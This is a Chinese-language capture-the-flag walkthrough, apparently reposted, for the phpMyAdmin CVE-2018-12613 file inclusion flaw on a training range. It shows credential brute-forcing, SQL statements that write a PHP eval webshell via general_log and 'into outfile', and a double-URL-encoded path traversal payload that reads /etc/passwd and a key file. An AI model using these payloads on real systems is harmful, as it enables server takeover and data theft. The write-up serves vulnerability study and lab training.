墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)相关的知识,希望对你有一定的参考价值。
phpMyAdmin
第一种:
一、利用burp爆破出账号密码
二、尝试写马连入蚁剑
1.发现mysql对导入导出没做任何限制
secure_file_priv为null 表示不允许导入导出
secure_file_priv 指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv 没有设置时,则表示没有任何限制
2.查询日志
show variables like 'general_log%'
3.利用日志写文件
开启general_log: set global general_log=ON
设置日志写入文件
SET global general_log_file='/var/www/html/cao.php'
4.访问写入的日志文件
6.尝试直接通过into outfile写入一句话木马
select '<?php eval($_REQUEST[cao]); ?>' into outfile '/var/www/html/cao2.php'
7.访问phpinfo文件,并连接蚁剑得到key值
http://219.153.49.228:42067/cao2.php?cao=phpinfo();
在根目录发现key值
第二种:
漏洞详情:
关于漏洞分析可以查看这篇文章CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析
一、下载index.php文件进行分析
1.发现55到63行存在问题
$target_blacklist = array ( //黑名单
'import.php', 'export.php' //只要target的值不是这两个就可以
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //检查变量target是否为空
&& is_string($_REQUEST['target']) //检测参数target是否是字符串类型
&& ! preg_match('/^index/', $_REQUEST['target']) //传参target不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) //搜索target的值是否存在于$target_blacklist数组中
&& Core::checkPageValidity($_REQUEST['target']) // Core类的方法判断是否满足checkPageValidity()函数
) {
include $_REQUEST['target']; //如果通过判断则包含指定文件
exit;
}
二、下载Core.php进行分析
1.找到checkPageValidity函数,在第443行
2.查看白名单数组$whitelist
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //$whitelist为空则引用静态声明的$goto_whitelist
}
if (! isset($page) || !is_string($page)) {
return false; //如果$page没有被定义过或者$page不是字符串类型则return false
}
if (in_array($page, $whitelist)) { //$page存在于$whitelist数组中则返回 true
return true;
}
mb_strpos()
:返回要查找的字符串在别一个字符串中首次出现的位置所以这里就可以通过?/../../../../../../etc/passwd
绕过白名单限制
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; //$_page存在$whitelist中的某个值则返回true
}
这里多了一个
urldecode()
函数,可以利用双重url编码绕过 可以把?
双重编码为%253f
进行绕过白名单限制%253f/../../../../../../etc/passwd
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true; // 经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
}
Payload:
%253f/../../../../etc/passwd
db_sql.php%253f
是被当作目录进行上跳
3.包含根目录下的key.txt得到key值
index.php?target=db_sql.php%253f/../../../../key.txt
以上是关于墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)的主要内容,如果未能解决你的问题,请参考以下文章